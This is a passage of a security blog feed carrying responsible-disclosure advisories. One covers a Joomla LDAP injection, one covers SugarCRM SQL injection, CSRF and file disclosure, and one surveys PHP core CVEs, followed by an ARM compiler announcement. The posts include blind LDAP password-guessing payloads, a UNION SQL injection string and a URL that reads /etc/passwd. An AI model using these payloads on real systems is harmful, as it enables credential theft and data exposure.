66    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The credentials are passed on to the &lt;code&gt;login&lt;/code&gt; method which then invokes the &lt;code&gt;authenticate&lt;/code&gt; method.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/libraries/cms/application/cms.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;857    class JApplicationCms extends JApplicationWeb
858    {
859        public function login($credentials, $options = array())
860        {
861            ⋮
862            $authenticate = JAuthentication::getInstance();
863            $authenticate-&gt;authenticate($credentials, $options);
864        }
865    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;/libraries/joomla/authentication/authentication.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;279    class JAuthentication extends JObject
280    {
281        public function authenticate($credentials, $options = array())
282        {
283            ⋮
284            $plugin-&gt;onUserAuthenticate($credentials, $options, $response);
285        }
286    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on the plugin that is used for authentication, the &lt;code&gt;authenticate&lt;/code&gt; method passes the credentials to the &lt;code&gt;onUserAuthenticate&lt;/code&gt; method. If Joomla! is configured to use LDAP for authentication, the LDAP plugin’s method is invoked.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/plugins/authentication/ldap/ldap.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;109    class PlgAuthenticationLdap extends JPlugin
110    {
111        public function onUserAuthenticate($credentials, $options, &amp;$response)
112        {
113            ⋮
114            $userdetails = $ldap-&gt;simple_search(
115                str_replace(
116                    &apos;[search]&apos;,
117                    $credentials[&apos;username&apos;],
118                    $this-&gt;params-&gt;get(&apos;search_string&apos;)
119                )
120            );
121        }
122    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the LDAP plugin, the &lt;code&gt;username&lt;/code&gt; credential (line 117) is embedded into the LDAP query as specified in the &lt;code&gt;search_string&lt;/code&gt; option. According to the official &lt;a href=&quot;https://docs.joomla.org/LDAP_Authentication&quot;&gt;Joomla! documentation&lt;/a&gt;, the &lt;code&gt;search_string&lt;/code&gt; configuration option is “a query string used to search for the user, where [search] is directly replaced by search text from the login field”, for example “uid=[search]“. The LDAP query is then passed to the &lt;code&gt;simple_search&lt;/code&gt; method of the &lt;code&gt;LdapClient&lt;/code&gt; which connects to the LDAP server and performs the &lt;code&gt;ldap_search&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/libraries/vendor/joomla/ldap/src/LdapClient.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    class LdapClient
 2    {
 3        public function simple_search($search)
 4        {
 5            $results = explode(&apos;;&apos;, $search);
 6            foreach ($results as $key =&gt; $result)
 7            {
 8                $results[$key] = &apos;(&apos; . $result . &apos;)&apos;;
 9            }
10            return $this-&gt;search($results);
11        }
12
13        public function search(array $filters, ...)
14        {
15            foreach ($filters as $search_filter)
16            {
17                $search_result = @ldap_search($res, $dn, $search_filter, $attr);
18                ⋮
19            }
20        }
21    }&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Proof Of Concept - Blind LDAP Injection&lt;/h2&gt;&lt;p&gt;The lack of input sanitization of the &lt;code&gt;username&lt;/code&gt; credential used in the LDAP query allows an adversary to modify the result set of the LDAP search. By using wildcard characters and by observing different authentication error messages, the attacker can literally &lt;em&gt;search&lt;/em&gt; for login credentials progressively by sending a row of payloads that guess the credentials character by character.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;XXX;(&amp;(uid=Admin)(userPassword=A*))
XXX;(&amp;(uid=Admin)(userPassword=B*))
XXX;(&amp;(uid=Admin)(userPassword=C*))
...
XXX;(&amp;(uid=Admin)(userPassword=s*))
...
XXX;(&amp;(uid=Admin)(userPassword=se*))
...
XXX;(&amp;(uid=Admin)(userPassword=sec*))
...
XXX;(&amp;(uid=Admin)(userPassword=secretPassword))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each of these payloads yield exactly one out of two possible states which allow an adversary to abuse the server as an Oracle. A filter bypass is necessary for exploitation that is not covered in this blog post. With an optimized version of these payloads one bit per request can be extracted from the LDAP server which results in a highly efficient blind LDAP injection attack.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/07/27&lt;/td&gt;&lt;td&gt;Provided vulnerability details and PoC to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/07/29&lt;/td&gt;&lt;td&gt;Vendor confirmed security issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/09/19&lt;/td&gt;&lt;td&gt;Vendor released fixed version&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;As one of the most popular open source CMS applications, Joomla! receives many code reviews from the security community. Yet alone one missed security vulnerability in the 500,000 lines of code can lead to a server compromise. With the help of static code analysis, we detected a critical LDAP injection vulnerability (CVE-2017-14596) that remained undiscovered for over &lt;a href=&quot;https://downloads.joomla.org/cms/joomla15/1-5-0&quot;&gt;8 years&lt;/a&gt;. The vulnerability allows an attacker to steal login credentials from Joomla! installations that use LDAP authentication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the Joomla! Security Strike Team for an excellent coordination and remediation of this issue and recommend to update to the latest Joomla! version 3.8 immediately.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;Backend SQL Injection in BigTree CMS 4.4.6&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;dotCMS 5.1.5: Exploiting H2 SQL injection to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;Joomla! 3.8.3: Privilege Escalation via SQL Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;CubeCart 6.1.12 - Admin Authentication Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;Pre-Auth Takeover of OXID eShops&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SugarCRM's Security Diet - Multiple Vulnerabilities]]></title><description><![CDATA[SugarCRM is one of the most popular customer relationship management solutions. We uncovered critical security issues that could allow attackers to steal customer data or sensitive files from the server.]]></description><link>https://www.sonarsource.com/blog/sugarcrm-security-diet-multiple-vulnerabilities</link><guid isPermaLink="false">3689f7b9-3c56-52da-9ead-71bb497c0f9f</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Wed, 13 Sep 2017 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SugarCRM is one of the most popular customer relationship management solutions. It is available as a commercial edition and as an open-source community edition and is used by more than 2 million individuals in over 120 countries to manage sensitive customer data. Lately its security attracted attention after a researcher reported multiple security issues in the code. As a result, a new version of SugarCRM was released. We wanted to check what our code analysis technology would find after the recent manual audit and how it could contribute to the security.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We analyzed the latest version 6.5.26 of the open-source SugarCE edition that shares the same code base with the commercial SugarCRM edition. The interconnected data flow through all 816,519 lines of code was analyzed for security vulnerabilities. In the following, we present the most interesting findings that were responsibly disclosed to the vendor. A &lt;a href=&quot;https://community.sugarcrm.com/community/releases/blog/2017/09/12/versions-7920-7822-and-7723-have-been-released&quot;&gt;security fix is available&lt;/a&gt; for all reported issues.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Multi-Step PHP Object Injection Vulnerability&lt;/h2&gt;&lt;p&gt;The most critical vulnerability detected by RIPS lies within the &lt;code&gt;DetailView&lt;/code&gt; module. Most of the time in SugarCRM solely the &lt;code&gt;securexss()&lt;/code&gt; function prevents that an attacker can bypass the SQL literals and can inject into a non-prepared SQL statement. This function replaces, among others, single quotes with their appropriate HTML entities and prevents an injection. However, the backslash character is excluded from the replacement in &lt;code&gt;securexss()&lt;/code&gt;. Apart from the bypasses we found for previous XSS issues, lets have a look where this becomes problematic for a SQL query:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;modules/Emails/DetailView.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    $parent_id = $_REQUEST[&apos;parent_id&apos;];
 2    // cn: bug 14300 - emails_beans schema refactor - fixing query
 3    $query=&quot;SELECT * FROM emails_beans WHERE email_id=&apos;{$focus-&gt;id}&apos;
 4        AND bean_id=&apos;{$parent_id}&apos;
 5        AND bean_module = &apos;{$_REQUEST[&apos;parent_module&apos;]}&apos; &quot; ;
 6    $res=$focus-&gt;db-&gt;query($query);
 7    $row=$focus-&gt;db-&gt;fetchByAssoc($res);
 8    if (!empty($row)) {
 9        $campaign_data = $row[&apos;campaign_data&apos;];
10        $macro_values = array();
11        if (!empty($campaign_data)) {
12            $macro_values = unserialize(from_html($campaign_data));
13        }
14    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the &lt;code&gt;DetailView&lt;/code&gt;, a SQL query is dynamically built with user input where single quotes are previously sanitized. In case non-malicious data is supplied by the user, the SQL query will look as follows.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT * FROM emails_beans WHERE email_id=&apos;123&apos; AND bean_id=&apos;abc&apos; AND bean_module=&apos;def&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, what happens if we add a backslash character at the end of the &lt;code&gt;bean_id&lt;/code&gt;?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT * FROM emails_beans WHERE email_id=&apos;123&apos; AND bean_id=&apos;abc\&apos; AND bean_module=&apos;def&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The second &lt;code&gt;AND&lt;/code&gt; condition is consumed by the &lt;code&gt;bean_id&lt;/code&gt; string literal that now spans over the upfollowing SQL syntax due to the escaped single quote. The value terminates at &lt;code&gt;bean_module&lt;/code&gt; that is also user controlled. Now the attacker can continue to inject SQL syntax without the need of breaking single quotes and the protection is successfully bypassed (&lt;a href=&quot;https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2017-006/&quot;&gt;sugarcrm-sa-2017-006&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Further, the &lt;code&gt;campaign_data&lt;/code&gt; fetched by the SQL query is &lt;code&gt;unserialize()&lt;/code&gt;&amp;#x27;d. This results in a PHP Object Injection vulnerability, a critical issue type that even without a POP chain pose a high risk.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT * FROM emails_beans WHERE email_id=&apos;123&apos; AND bean_id=&apos;abc\&apos; AND bean_module=&apos; 
UNION ALL SELECT 1,2,3,4,CHAR(76,76),6,7 FROM emails_beans LIMIT 1 -- x&apos;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Blind SQL Injection Exploitation via CSRF&lt;/h2&gt;&lt;p&gt;The previously introduced SQL injection vulnerability as well as another reported SQLi can only be accessed with a valid user session. On top of that, it is a blind SQL injection meaning that no SQL response nor error is directly visible in the HTML response page. However, an attacker can exploit the vulnerability remotely &lt;em&gt;without having any credentials&lt;/em&gt; by luring an authenticated user to visit a malicious web page which exploits the vulnerability in the background. An instance of such a malicious page is demonstrated in the following video.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/WiCEiOytmio&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;In our demonstration we dynamically load an image with JavaScript and set its URL attribute to the targeted SugarCRM installation, allowing the attacker to send requests in the name of the authenticated user. The URL attribute will contain a SQL payload instructing the back-end to delay the response dependant on partial contents of the database. This allows an attacker to measure the response time of the &amp;quot;image&amp;quot; to reconstruct the sensitive data piece by piece, even in such a restricted cross-origin environment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The response times to the SQL queries are everything an attacker needs to distinguish and extract information from a time-based SQL injection as demonstrated in our Proof-Of-Concept. Note at this point, that the extraction speed of information can often be improved drastically through multiple images and/or specific time-based optimizations.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Authenticated File Disclosure&lt;/h2&gt;&lt;p&gt;After exploiting the SQL injection vulnerability and cracking the administrators passwords, an attacker has access to all customer data stored in the SugarCRM database. But what else is an authenticated user able to do? The commercial and open-source editions of SugarCRM were prone to an exemplary file disclosure vulnerability that allows to read arbitrary files from the server (&lt;a href=&quot;https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2017-007/&quot;&gt;sugarcrm-sa-2017-007&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;modules/Connectors/controller.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    function action_CallRest() {
 2        if(false === ($result = @file_get_contents($_REQUEST[&apos;url&apos;]))){
 3            echo &apos;&apos;;
 4        } else {
 5            echo $result;
 6        }
 7    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the &lt;code&gt;url&lt;/code&gt; parameter is used unsanitized as file name in PHP&amp;#x27;s &lt;code&gt;file_get_contents()&lt;/code&gt; function that allows to retrieve and download any file that is permitted by the filesystem. When an authenticated attacker visits the following URL, he can peek into the secrets of the &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/index.php?…&amp;module=CallRest&amp;url=/etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c6fb5a11-8b11-46a8-9992-40ce55a92388/Leaked_etc_passwd.png&quot; /&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;Date&lt;/td&gt;&lt;td&gt;What&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017-06-06&lt;/td&gt;&lt;td&gt;Sent vulnerability details&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017-06-06&lt;/td&gt;&lt;td&gt;Asked about status&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017-07-01&lt;/td&gt;&lt;td&gt;Vendor works on fixes for 6.5 and 7.X, coordinated disclosure&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017-09-12&lt;/td&gt;&lt;td&gt;Vendor releases fixed version (7.9.2.0, 7.8.2.2, and 7.7.2.3)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We analyzed the open-source edition of SugarCRM, a popular customer relationship management software. Although recently a manual audit was performed, our code analysis solution detected several severe issues previously missed that also affect SugarCRM&amp;#x27;s commercial edition. The root cause of these issues was mainly a global input sanitization function which cannot enable security for all different markup contexts. Upon successful exploitation, the detected vulnerabilities potentially allow an attacker to steal customer data and sensitive files from the server. All reported issues have been patched by the SugarCRM team and we urge all users to perform updates.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How security flaws in PHP's core can affect your application]]></title><description><![CDATA[Learn how memory corruption bugs in the PHP core itself can affect your PHP application.]]></description><link>https://www.sonarsource.com/blog/security-flaws-in-the-php-core</link><guid isPermaLink="false">ec1fa5dd-b308-5a77-a7c8-c5bd0fdab371</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Wed, 19 Jul 2017 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Popular security vulnerabilities occur due to bad coding practices or coding mistakes. Often a single missing character or incautiously used language feature opens the gates for an attacker. But even when all best practices for secure programming are carefully adhered to, a PHP application’s source code is only as secure as the PHP interpreter it runs on. Learn how memory corruption bugs in the PHP core itself can affect applications.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;PHP Version Usage&lt;/h2&gt;&lt;p&gt;At the time of writing, the statistics from &lt;a href=&quot;https://w3techs.com/technologies/details/pl-php/all/all&quot;&gt;W3Techs&lt;/a&gt; show that 93% of all PHP websites use PHP version &lt;strong&gt;5&lt;/strong&gt;, and only about 6% use its new successor PHP &lt;strong&gt;7&lt;/strong&gt;. For each of those major PHP versions several &lt;em&gt;release branches&lt;/em&gt; are maintained. Each release branch is actively supported for two years and then for one additional year only with security fixes.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bb9ab373-17cc-41e0-a9c3-c124427c8ed7/c57cd3e9-ce41-4abb-b9d5-2e46301b56b6_php_version_support.png&quot; /&gt;&lt;p&gt;For the popular PHP version 5, the release branches 5.6 (28.8%), 5.4 (22.9%) and 5.3 (22.4%) are commonly installed. However, only PHP 5.6 is still &lt;a href=&quot;https://php.net/supported-versions.php&quot;&gt;supported with security fixes&lt;/a&gt; meaning that the remaining 71.2% of all PHP 5 websites run with an unsupported version.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c80e9be0-f48b-4066-ac7d-32f3b352fdec/7067efa0-41e9-414c-b4cf-a6fdae6b9b51_php_version_5.jpeg&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fda402fa-8098-471c-a9d7-dc5982543258/070f905b-429e-419a-9757-61a1f9a481c2_php_version_5_6.jpeg&quot; /&gt;&lt;p&gt;The supported PHP 5.6 installations are not all secure though. Every &lt;a href=&quot;https://php.net/releases/&quot;&gt;patch release&lt;/a&gt; in the past fixed critical security issues in PHP’s core. But only 62% of all 5.6 installations run the latest patch version 5.6.30 (see Figure 3) released in January 2017. For PHP 7, about 70% of all websites run the latest version. &lt;strong&gt;As a result, about 79% of all PHP websites run at the moment on a vulnerable PHP interpreter.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;There are various reasons why companies do not or cannot update their PHP installation. Oftentimes, different production, development, and testing environments would require simultaneous updates while &lt;a href=&quot;https://php.net/manual/de/migration70.changed-functions.php&quot;&gt;changes&lt;/a&gt; or &lt;a href=&quot;https://wiki.php.net/rfc/deprecation_php_7_2&quot;&gt;deprecations&lt;/a&gt; in the PHP language risk breaking the code. In the following, we have a closer look at the security implications of outdated PHP versions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Memory Corruption in PHP Features&lt;/h2&gt;&lt;p&gt;PHP is a high-level scripting language that does not require custom management of data memory. &lt;strong&gt;Hence, PHP code itself is not affected by memory corruption bugs.&lt;/strong&gt; Instead, the memory management is handled by the PHP interpreter that executes the PHP code on the web server. This interpreter is written in the C language and it can be affected by memory-related security bugs. In fact, the PHP core comes with over 5,700 documented built-in functions and classes. If one of these features’ internal implementation is affected by a memory corruption flaw and this feature is invoked from the PHP code, then this security issue can be exploited by an attacker through the PHP application. Depending on the type and occurrence of the security issue in the feature’s implementation and its usage in the PHP code, this can lead to the remote execution of arbitrary code on the targeted web server and a full server compromise.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6f8f6c3d-c7e3-4fb7-b08a-094bed1f40d4/bfa9323c-3dde-4bf3-b65e-d2cba284ec11_php_interpreter.png&quot; /&gt;&lt;p&gt;Since the beginning of the PHP language, critical security issues were found in the vast variety of built-in features and even in the PHP handler itself that are remotely exploitable. In 2010, this escalated in the &lt;a href=&quot;https://www.php-security.org/&quot;&gt;Month of PHP Security&lt;/a&gt; where a new memory corruption bug in PHP was released on a daily bases. Today, the CVE database documents over &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/PHP-PHP.html&quot;&gt;500&lt;/a&gt; known security issues in different PHP core versions. But how critical and exploitable are these security vulnerabilities in reality?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;A Case Study: CVE-2016-5773&lt;/h3&gt;&lt;p&gt;In July 2016, &lt;a href=&quot;https://evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/&quot;&gt;security researchers&lt;/a&gt; participated in the bug bounty program of an adult video platform. In a blackbox analysis they detected &lt;a href=&quot;https://php.net/serialize&quot;&gt;serialized&lt;/a&gt; data that was undoubtedly passed into the PHP built-in function &lt;a href=&quot;https://php.net/unserialize&quot;&gt;unserialize()&lt;/a&gt;. Since no other way of exploitation was effective, they decided to &lt;a href=&quot;https://evonide.com/fuzzing-unserialize&quot;&gt;fuzz&lt;/a&gt; PHP’s internal feature implementation instead. A &lt;a href=&quot;https://www.owasp.org/index.php/Using_freed_memory&quot;&gt;use-after-free&lt;/a&gt; vulnerability in PHP’s garbage collector was then detected that can be remotely triggered via the unserialize() call. The exploitation of this PHP internal security issue resulted in a remote code execution on the server and, after disclosing the issue to the vendor, a &lt;a href=&quot;https://hackerone.com/reports/141956&quot;&gt;&lt;strong&gt;$20,0000&lt;/strong&gt;&lt;/a&gt; bug bounty. The incident demonstrated strikingly that although the PHP code of the application was not exploitable, a vulnerability in PHP’s core can still lead to a compromise. Similar security vulnerabilities can hide in all kinds of PHP features.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Feature&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Affected PHP Versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;unserialize()&lt;/td&gt;&lt;td&gt;&amp;lt; 7.0.15, &amp;lt; 7.1.1&lt;/td&gt;&lt;td&gt;Integer Overflow&lt;/td&gt;&lt;td&gt;CVE-2017-5340&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;wddx_deserialize()&lt;/td&gt;&lt;td&gt;&amp;lt; 7.0.15, &amp;lt; 7.1.1&lt;/td&gt;&lt;td&gt;NULL pointer dereference&lt;/td&gt;&lt;td&gt;CVE-2016-10162&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;curl_escape()&lt;/td&gt;&lt;td&gt;&amp;lt; 7.0.10&lt;/td&gt;&lt;td&gt;Buffer Overflow&lt;/td&gt;&lt;td&gt;CVE-2016-7134&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;str_pad()&lt;/td&gt;&lt;td&gt;&amp;lt; 7.0.4&lt;/td&gt;&lt;td&gt;Integer Overflow&lt;/td&gt;&lt;td&gt;CVE-2016-4537&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;utf8_encode()&lt;/td&gt;&lt;td&gt;&amp;lt; 7.0.4&lt;/td&gt;&lt;td&gt;Integer Overflow&lt;/td&gt;&lt;td&gt;CVE-2016-4345&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;imagerotate()&lt;/td&gt;&lt;td&gt;&amp;lt; 5.5.31, &amp;lt; 5.6.16, &amp;lt; 7.0.1&lt;/td&gt;&lt;td&gt;Incorrect Buffer Size&lt;/td&gt;&lt;td&gt;CVE-2016-1903&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;PHP is frequently updated in order to fix critical security issues in its core. In order to fully protect your application against adversaries, staying ahead of the arms race and applying security patches is crucial. Even if your code is securely written, leveraged PHP features may be still vulnerable to attacks. When legacy obligations or complex production environments prohibit regular patches, you can use our &lt;a href=&quot;https://docs.sonarqube.org/latest/analysis/security_configuration/&quot;&gt;Security Engine Custom Configuration&lt;/a&gt; to automatically detect exploitable PHP features so that these can be disarmed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarCFamily Now Supports ARM Compilers]]></title><description><![CDATA[For those not familiar with ARM (Advanced RISC Machine), let's start by sharing some numbers: in 2011, the 32-bit ARM architecture was the most widely used architecture in mobile devices and the most popular 32-bit one in embedded systems (see). Moreover in 2013, 10 billion were produced (see) and "ARM-based chips are found in nearly 60 percent of the world’s mobile devices" (see).]]></description><link>https://www.sonarsource.com/blog/sonarcfamily-now-supports-arm-compilers</link><guid isPermaLink="false">0c53c31b-3a80-5c65-95a5-8b6af6747afa</guid><dc:creator><![CDATA[Massimo Paladin]]></dc:creator><pubDate>Thu, 15 Jun 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For those not familiar with ARM (Advanced RISC Machine), let&amp;#x27;s start by sharing some numbers: in 2011, the 32-bit ARM architecture was the most widely used architecture in mobile devices and the most popular 32-bit one in embedded systems (&lt;a href=&quot;https://cacm.acm.org/magazines/2011/5/107684-an-interview-with-steve-furber/fulltext&quot;&gt;see&lt;/a&gt;). Moreover in 2013, 10 billion were produced (&lt;a href=&quot;https://community.arm.com/company/b/blog/posts/celebrating-50-billion-shipped-arm-powered-chips&quot;&gt;see&lt;/a&gt;) and &amp;quot;ARM-based chips are found in nearly 60 percent of the world’s mobile devices&amp;quot; (&lt;a href=&quot;https://www.broadcom.com/blog/arms-reach-50-billion-chip-milestone-video&quot;&gt;see&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Why ARM is so popular when dealing with embedded systems? Because the RISC architecture typically requires fewer transistors than those with a complex instruction set computing (CISC) architecture (such as the x86 processors found in most personal computers), which reduces cost, power consumption, and heat dissipation. These characteristics are desirable for light, portable, battery-powered devices‍—‌including smartphones, laptops and tablet computers, and other embedded systems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Most developers targeting this ARM architecture, develop in C or C++ and use a compiler able to produce a binary for ARM machines. Both GCC and Clang support an ARM mode out-of-the-box. But if you want to generate a binary finely tuned to reduce the runtime footprint, you might want to go ahead with the &lt;a href=&quot;https://developer.arm.com/products/software-development-tools/compilers/arm-compiler/docs/version-5&quot;&gt;ARM5&lt;/a&gt;, &lt;a href=&quot;https://developer.arm.com/products/software-development-tools/compilers/arm-compiler&quot;&gt;ARM6&lt;/a&gt; or &lt;a href=&quot;https://www.linaro.org/&quot;&gt;Linaro&lt;/a&gt; compilers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://redirect.sonarsource.com/plugins/cpp.html&quot;&gt;SonarCFamily&lt;/a&gt; code analyzer version 4.8 adds support for all such compilers, this long-awaited feature finally becomes reality.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.sonarqube.org/pages/viewpage.action?pageId=7996665&quot;&gt;Analyzing a C/C++ project&lt;/a&gt; targeting the ARM architecture is not different than analyzing any other kind of C/C++ project but as a reminder here are the steps to follow:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# on Windows or on Linux, in a ARM DS-5 enabled environment:
make clean

build-wrapper-[win|linux]-x86-64 --out-dir &lt;output directory&gt; make

# set sonar.cfamily.build-wrapper-output=&lt;output directory&gt; 
# on sonar-project.properties
sonar-scanner&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;or, on Linux, from a console without ARM environment:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/usr/local/DS-5_v5.26.2/bin/suite_exec -t &quot;ARM Compiler 5 (DS-5 built-in)&quot; make
clean 

build-wrapper-linux-x86-64 --out-dir &lt;output directory&gt; \
/usr/local/DS-5_v5.26.2/bin/suite_exec -t &quot;ARM Compiler 5 (DS-5 built-in)&quot; make

# set sonar.cfamily.build-wrapper-output=&lt;output directory&gt; 
# on sonar-project.properties
